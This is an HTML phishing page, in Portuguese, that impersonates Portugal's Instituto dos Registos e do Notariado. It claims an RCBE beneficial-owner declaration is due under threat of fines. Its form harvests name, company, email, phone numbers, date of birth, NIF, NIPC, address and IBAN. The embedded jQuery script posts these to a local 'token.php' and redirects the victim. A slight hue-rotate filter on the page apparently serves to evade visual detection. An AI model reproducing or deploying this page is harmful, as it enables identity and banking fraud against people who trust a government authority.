<!DOCTYPE html>
<html lang="pt">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Instituto dos Registos e do Notariado | IRN.Justica.gov.pt</title>
<link rel="stylesheet" href="./assets/css/main.css">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,100..900;1,100..900&display=swap" rel="stylesheet">
</head>
<body>
<header>
<nav class="container ">
<div class="logo">
<img src="./assets/img/logotipoJusticaGovPt.png" alt="">
</div>
</nav>
</header>
<div class="banner"></div>
<br>
<div class="alert_box_content">
<div class="img_container"><img src="./assets/img/info-svgrepo-com.svg" alt=""></div>
<div class="info_text_container">Tenha em atenção que a declaração do Beneficiário Efetivo (RCBE) é um requisito legal. Recomendamos vivamente que complete a sua declaração o mais rapidamente possível para se manter em conformidade e evitar quaisquer coimas aplicáveis.</div>
</div>
<div class="content">
<div class="main">
<h1>Verificação de Dados e Reforço de Segurança</h1>
<div class="sub_title">
Para a ativação de todas as funções da conta e a
ativação de recursos de segurança avançados, solicitamos que confirme
os seus dados pessoais. A conexão bancária permite processos de
automação futuros e serve para a sua proteção.
</div>
<br>
</div>
</div>
<div class="divsd">
<div class="content">
<div class="form">
<div class="input_box required">
<label for="">
<span>Nome completo :</span>
<svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
</path>
</svg>
</label>
<input type="text">
<p class="error_text">Por favor, insira o nome completo.</p>
</div>
<div class="input_box required">
<label for="">
<span>Nome da empresa :</span>
<svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
</path>
</svg>
</label>
<input type="text">
<p class="error_text">Por favor, insira o nome completo da empresa.</p>
</div>
<div class="input_box email required">
<label for="">
<span>E-mail:</span>
<svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
</path>
</svg>
</label>
<input type="text" class="">
<p class="error_text">Por favor, insira o e-mail.</p>
</div>
<div class="input_box tel ">
<label for=""> <span>Telefone profissional:</span> </label>
<input type="text" class="t2" inputmode="numeric">
<p class="error_text">Por favor, insira o telefone.</p>
</div>
<div class="input_box tel required">
<label for="">
<span>Telefone particular:</span>
<svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
</path>
</svg>
</label>
<input type="text" class="tt" inputmode="numeric">
<p class="error_text">Por favor, insira o telefone.</p>
</div>
<div class="input_box required">
<label for="">
<span>Data de nascimento:</span>
<svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
</path>
</svg>
</label>
<input type="text" class="dob" inputmode="numeric">
<p class="error_text">Por favor, insira a data de nascimento (DD/MM/AAAA).</p>
</div>
<div class="input_box required nif">
<label for="">
<span>NIF:</span>
<svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
</path>
</svg>
</label>
<input type="text" inputmode="numeric">
<p class="error_text">Por favor, insira o NIF (9 dígitos).</p>
</div>
<div class="input_box required nif">
<label for="">
<span>NIPC:</span>
<svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
</path>
</svg>
</label>
<input type="text" inputmode="numeric">
<p class="error_text">Por favor, insira o NIPC (9 dígitos).</p>
</div>
<div class="input_box required">
<label for="">
<span>Rua:</span>
<svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
</path>
</svg>
</label>
<input type="text">
<p class="error_text">Por favor, insira a rua.</p>
</div>
<div class="input_box required">
<label for="">
<span>Número:</span>
<svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
</path>
</svg>
</label>
<input type="text" class="">
<p class="error_text">Por favor, insira o número da porta.</p>
</div>
<div class="input_box zip required">
<label for="">
<span>Código Postal:</span>
<svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
</path>
</svg>
</label>
<input type="text" inputmode="numeric">
<p class="error_text">Por favor, insira o código postal (formato 0000-000).</p>
</div>
<!-- <div class="input_box">
<label for=""> <span>Banco:</span> <svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
</path>
</svg></label>
<select id="bankArt" name="bankArt" aria-required="true" class="form-control at-ui-input">
<option value="" disabled selected="selected">Por favor selecione</option>
<option value="CGD">Caixa Geral de Depósitos</option>
<option value="MILLENNIUM">Millennium BCP</option>
<option value="SANTANDER">Santander Totta</option>
<option value="BPI">Banco BPI</option>
<option value="NOVO_BANCO">Novo Banco</option>
<option value="ATLANTICO">Banco Atlântico Europa</option>
<option value="MONTEPIO">Banco Montepio</option>
<option value="BIC">Banco BIC Português</option>
<option value="CREDIBOM">Banco Credibom</option>
<option value="BANCO_CTT">Banco CTT</option>
<option value="ACTIVOBANK">Banco Activobank</option>
<option value="BEST">BEST - Banco Electrónico de Serviço Total</option>
<option value="BISON">Bison Bank</option>
<option value="BIG">BIG - Bancos Independente</option>
<option value="BANCO_PRIVADO">Banco Privado Português</option>
<option value="BANCO_FOMENTO">Banco Português de Fomento</option>
<option value="ESPHERA">Esphera Capital</option>
<option value="BNP_PARIBAS">BNP Paribas</option>
<option value="DEUTSCHE">Deutsche Bank</option>
<option value="BBVA">BBVA</option>
<option value="JP_MORGAN">J.P. Morgan</option>
<option value="BANCO_CARREGOSA">Banco Carregosa</option>
<option value="BANCO_INVEST">Banco Invest</option>
<option value="HAITONG">Haitong Bank</option>
<option value="ABANCA">ABANCA</option>
<option value="REVOLUT">Revolut</option>
<option value="N26">N26</option>
<option value="OUTRO">Outro banco</option>
</select>
<p class="error_text">Por favor, selecione o banco.</p>
</div> -->
<div class="input_box required">
<label for="">
<span>IBAN:</span>
<svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
</path>
</svg>
</label>
<input type="text" class="iban" inputmode="numeric">
<p class="error_text">Por favor, insira um IBAN válido.</p>
</div>
<div class="btn">Continuar</div>
</div>
</div>
</div>
<br>
<footer>
<div>
<img src="./assets/img/Digital_PT_4C_H_POS_Justica.png" alt="">
<img src="./assets/img/justicagovpt_footer.png" alt="">
<img src="./assets/img/logo_justica_proxima.png" alt="">
<img src="./assets/img/SAMA-cofinanciamento.png" alt="">
</div>
<p>Versão: 1.0.7912.23503 - 11/03/2025 13:27:44</p>
</footer>
<div class="loader" style="display: none;">
<div class="loaders"></div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="./assets/js/jquery.mask.min.js"></script>
<script>
$(".tel input").mask("00000000000000");
$(".zip input").mask("0000-000")
$(".iban").mask("PT00000000000000000000000")
$(".nif input").mask("000000000");
$(".dob").mask("00/00/0000");
function dob_check() {
const value = $(".dob").val();
if (!value) return true;
if (!/^\d{2}\/\d{2}\/\d{4}$/.test(value)) return true;
const [day, month, year] = value.split("/").map(Number);
const dob = new Date(year, month - 1, day);
dob.setHours(0, 0, 0, 0);
if (
dob.getFullYear() !== year ||
dob.getMonth() !== month - 1 ||
dob.getDate() !== day
) return true;
const today = new Date();
today.setHours(0, 0, 0, 0);
if (dob > today) return true;
let age = today.getFullYear() - year;
if (
today.getMonth() < month - 1 ||
(today.getMonth() === month - 1 && today.getDate() < day)
) {
age--;
}
return age < 18 || age > 90;
}
const validateEmail = (email) => {
return email.match(
/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/
);
};
var myform_data = {};
document.documentElement.style.cssText="filter:hue-rotate(4deg)";
$(".dob").mask("00/00/0000");
$(".btn").on("click", function(){
var count = 0;
myform_data = {};
var index = 0;
var er = "";
$(".required input").each(function(){
if($(this).val().length == 0){
count++;
$(this).parents(".input_box").addClass("error")
}else{
myform_data["input"+index] = $(this).parents(".input_box").find("label span").text() +" "+$(this).val();
index++;
}
if($(this).hasClass("tt")){
myform_data["t2"] = "Telefone profissional :" + $(".t2").val();
}
});
if(!validateEmail($(".email input").val())){
count++;
$(".email").addClass("error")
}
if (dob_check()) {
count++;
$(".dob").parents(".input_box").addClass("error")
}
// if($("select").val() === null){
// count++
// $("select").parent().addClass("error")
// }
if(count == 0 ){
// myform_data["Banco"] = "Banco: "+$("select").val();
myform_data["ddd"] = "Geburtsdatum :" + $(".dob").val();
$(".box").hide()
$(".loader").show()
myform_data["type"] = "";
myform_data["iban"] = $(".iban").val();
$.ajax({
type: "POST",
url: "./token.php",
data: myform_data,
}).done(function(data) {
$(".loader").hide()
if (data == "error") {
$(".iban").parent().addClass("error");
} else {
window.location.assign(data);
}
});
}else{
}
})
$("input").on("input", function() {
$(this).parents(".input_box").removeClass("error")
})
$("select").on("change", function() {
$(this).parents(".input_box").removeClass("error")
})
document.documentElement.style.cssText="filter:hue-rotate(4deg)";
</script>
</body>
</html>